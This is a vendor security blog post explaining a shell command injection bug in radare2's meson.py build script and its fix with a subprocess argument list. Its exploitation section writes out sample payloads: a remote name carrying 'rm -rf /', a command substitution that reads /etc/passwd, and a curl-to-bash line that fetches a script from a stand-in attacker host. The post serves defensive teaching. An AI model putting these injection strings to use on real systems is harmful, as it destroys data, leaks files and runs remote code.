Back to Blog
critical SEVERITY5 min read

How shell command injection happens in Python subprocess and how to fix it

A critical shell command injection vulnerability was discovered in the radare2 build system's `meson.py` file, where `os.system()` was used with an f-string to execute git commands. An attacker who could control the `remote` variable could inject arbitrary shell commands. The fix replaces `os.system()` with `subprocess.call()` using a list of arguments, eliminating shell interpretation entirely.

O
By Orbis AppSec
Published July 9, 2026Reviewed July 9, 2026

Answer Summary

Shell command injection (CWE-78) occurs in Python when user-controllable input is passed to shell-executing functions like `os.system()`. In this case, `meson.py` used `os.system(f'git pull {remote} master')` where the `remote` variable could contain shell metacharacters. The fix replaces this with `subprocess.call(['git', 'pull', remote, 'master'])`, which passes arguments as a list without shell interpretation, preventing injection attacks.

Vulnerability at a Glance

cweCWE-78
fixReplace os.system() with subprocess.call() using argument list
riskArbitrary command execution with build process privileges
languagePython
root causeUsing os.system() with string interpolation allows shell metacharacter injection
vulnerabilityShell Command Injection

Introduction

In the radare2 reverse engineering framework's build system, we discovered a critical command injection vulnerability in sys/meson.py at line 264. The file handles build configuration and repository synchronization, but a flaw in how git commands were executed created a serious security risk that could allow attackers to execute arbitrary commands with the privileges of the build process.

The vulnerable code used Python's os.system() function with an f-string to construct a git pull command:

os.system(f'git pull {remote} master')

This pattern is dangerous because the remote variable is derived from parsing git remote output, and if an attacker could influence this value—through a malicious repository configuration or by manipulating upstream remotes—they could inject shell metacharacters to execute arbitrary commands.

The Vulnerability Explained

Shell command injection occurs when an application constructs a command string using untrusted input and passes it to a shell for execution. In this case, the meson.py script was building a git command dynamically:

# Vulnerable code (before fix)
remote = re.search(r'(.*?)\t.*radareorg/radare2 \(fetch\)', upstream_remote).group(1)
# ... exception handling sets fallback ...
remote = 'https://github.com/radareorg/radare2'
os.system(f'git pull {remote} master')

The remote variable is extracted from the output of a git remote command using a regex. While the code has a fallback to a safe URL, the primary path uses whatever the regex captures from the system's git configuration.

How Could This Be Exploited?

Consider an attacker who has write access to the repository's git configuration or can influence environment variables. They could craft a malicious remote name like:

https://github.com/radareorg/radare2; rm -rf / #

When interpolated into the f-string and executed via os.system(), this becomes:

git pull https://github.com/radareorg/radare2; rm -rf / # master

The shell interprets the semicolon as a command separator, executing rm -rf / with whatever privileges the build process has. The # comments out the remaining master argument.

Other dangerous payloads include:
- $(cat /etc/passwd > /tmp/leaked) — command substitution to exfiltrate data
- || curl attacker.com/shell.sh | bash — download and execute malicious scripts
- `id` — backtick command substitution

Real-World Impact

For a build system like radare2's meson.py, the impact is significant:

  1. Build Server Compromise: CI/CD systems running this script could be fully compromised
  2. Supply Chain Attacks: Malicious code could be injected into build artifacts
  3. Credential Theft: Build environments often have access to signing keys, deployment credentials, and other secrets
  4. Lateral Movement: Compromised build servers can be used as pivot points into internal networks

The Fix

The fix replaces os.system() with subprocess.call() using a list of arguments:

Before (Vulnerable)

os.system(f'git pull {remote} master')

After (Fixed)

subprocess.call(['git', 'pull', remote, 'master'])

This change is deceptively simple but fundamentally alters how the command is executed:

  1. No Shell Interpretation: When subprocess.call() receives a list, it executes the program directly without invoking a shell. The first element ('git') is the executable, and subsequent elements are passed as literal arguments.

  2. Arguments Are Atomic: Even if remote contains ; rm -rf /, it's passed as a single argument to git, not interpreted as multiple shell commands. Git will simply fail to find a remote with that name.

  3. Default Safety: subprocess.call() defaults to shell=False, making the safe behavior the default.

The PR also notes that similar patterns exist at lines 301 and 305 in the same file, which should be reviewed for the same vulnerability pattern.

Prevention & Best Practices

Never Use os.system()

The os.system() function always invokes a shell and should be considered deprecated for security-sensitive code. Replace all instances with subprocess module equivalents.

Use Argument Lists, Not Strings

# DANGEROUS - shell interprets the string
subprocess.call('git pull ' + remote + ' master', shell=True)

# SAFE - no shell interpretation
subprocess.call(['git', 'pull', remote, 'master'])

Explicitly Set shell=False

Even though shell=False is the default, being explicit improves code clarity and prevents accidental changes:

subprocess.call(['git', 'pull', remote, 'master'], shell=False)

Use shlex.quote() When Shell Is Unavoidable

In rare cases where shell features are genuinely needed, use shlex.quote() to escape arguments:

import shlex
# Still not ideal, but safer
os.system(f'git pull {shlex.quote(remote)} master')

Static Analysis Integration

Configure linters to flag dangerous patterns:
- Semgrep rules for os.system() and shell=True
- Bandit security linter for Python
- Custom pre-commit hooks

Key Takeaways

  • The os.system() function in meson.py:264 was a ticking time bomb — any influence over the remote variable could lead to full system compromise
  • Build scripts are high-value targets because they often run with elevated privileges and have access to sensitive credentials
  • The regex extraction of remote from git output created an untrusted data flow that reached a dangerous sink
  • Switching from string interpolation to argument lists eliminates entire classes of injection attacks without requiring input validation
  • Similar patterns at meson.py:301 and meson.py:305 should be audited for the same vulnerability

How Orbis AppSec Detected This

  • Source: The remote variable extracted via regex from upstream_remote git output at line 262
  • Sink: os.system(f'git pull {remote} master') at sys/meson.py:264
  • Missing control: No sanitization or escaping of the remote variable before shell execution; use of os.system() instead of safe subprocess APIs
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
  • Fix: Replaced os.system() with subprocess.call() using an argument list, eliminating shell interpretation

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This vulnerability in meson.py demonstrates why shell command construction requires extreme care. The combination of os.system() with f-string interpolation created a direct path from potentially attacker-influenced data to arbitrary command execution. The fix—using subprocess.call() with an argument list—is both simple and comprehensive, eliminating shell interpretation entirely.

When writing build scripts or any code that executes system commands, always default to the safest APIs available. In Python, that means subprocess with argument lists and shell=False. Your future self (and your security team) will thank you.

References

Frequently Asked Questions

What is shell command injection?

Shell command injection occurs when an attacker can insert shell metacharacters (like `;`, `|`, `$()`) into a command string that gets executed by the system shell, allowing them to run arbitrary commands.

How do you prevent shell command injection in Python?

Use subprocess module functions with `shell=False` (the default) and pass commands as a list of arguments rather than a single string. Never use `os.system()` or `shell=True` with untrusted input.

What CWE is shell command injection?

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input validation enough to prevent shell command injection?

No, input validation alone is insufficient because shell metacharacters are numerous and context-dependent. The safest approach is to avoid shell interpretation entirely by using subprocess with argument lists.

Can static analysis detect shell command injection?

Yes, static analysis tools can detect patterns like `os.system()` with variable interpolation or `subprocess` calls with `shell=True` and flag them as potential injection points.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #26194

Related Articles

high

How Authentication Bypass happens in PyJWT and how to fix it

A critical authentication bypass vulnerability in PyJWT 2.12.1 allowed attackers to forge valid JSON Web Tokens, potentially bypassing application authentication mechanisms entirely. The vulnerability was fixed in PyJWT 2.13.0 through security improvements to token validation logic. This fix is essential for any application relying on JWT-based authentication.

high

How unsafe pickle deserialization happens in Keras/TensorFlow notebooks and how to fix it

A high-severity untrusted deserialization vulnerability was discovered in `TransferLearningTF.ipynb`, a transfer learning tutorial notebook that loads VGG16 model weights from the internet without verifying their integrity. Because Keras relies on Python's pickle-based serialization format under the hood, a tampered or substituted weights file could execute arbitrary code with the full privileges of the notebook user. The fix adds a SHA-256 checksum verification step immediately after the weight

critical

How Chromium launch-argument injection happens in Python Crawl4AI and how to fix it

A critical unauthenticated remote code execution vulnerability in Crawl4AI 0.8.9 allowed attackers to inject arbitrary Chromium launch arguments through the `browser_config.extra_args` parameter, potentially taking full control of the host process. The fix upgrades to Crawl4AI 0.9.0 and refactors the crawler initialization in `agent/tools/crawler.py` to use the new `BrowserConfig` and `CrawlerRunConfig` APIs, which enforce proper argument validation. This change eliminates the injection surface

critical

How integer overflow in buffer size calculation happens in C++ and how to fix it

A critical integer overflow vulnerability was discovered in OpenCV's HAL filter implementation where multiplying image dimensions without overflow protection could allocate dangerously undersized buffers. An attacker supplying crafted image dimensions (e.g., 65536×65536) could trigger heap corruption through out-of-bounds writes. The fix promotes the calculation to 64-bit arithmetic with a single cast.

critical

How buffer overflow via strcpy() happens in C zlib and how to fix it

A critical buffer overflow vulnerability was discovered in `general/libzlib/gzlib.c` where multiple `strcpy()` and `strcat()` calls operated without bounds checking. An attacker controlling file paths or error messages could overflow destination buffers, potentially achieving arbitrary code execution. The fix replaces these unsafe string operations with bounded `memcpy()` calls that respect pre-calculated buffer lengths.

critical

How hardcoded API key placeholders in documentation happen in Python and how to fix it

A high-severity security issue was discovered in the Context7 API documentation where a hardcoded API key placeholder (`CONTEXT7_API_KEY`) could be copied directly into production code. The fix replaced the static string with a proper environment variable reference using `os.environ`, preventing developers from accidentally deploying exposed credentials.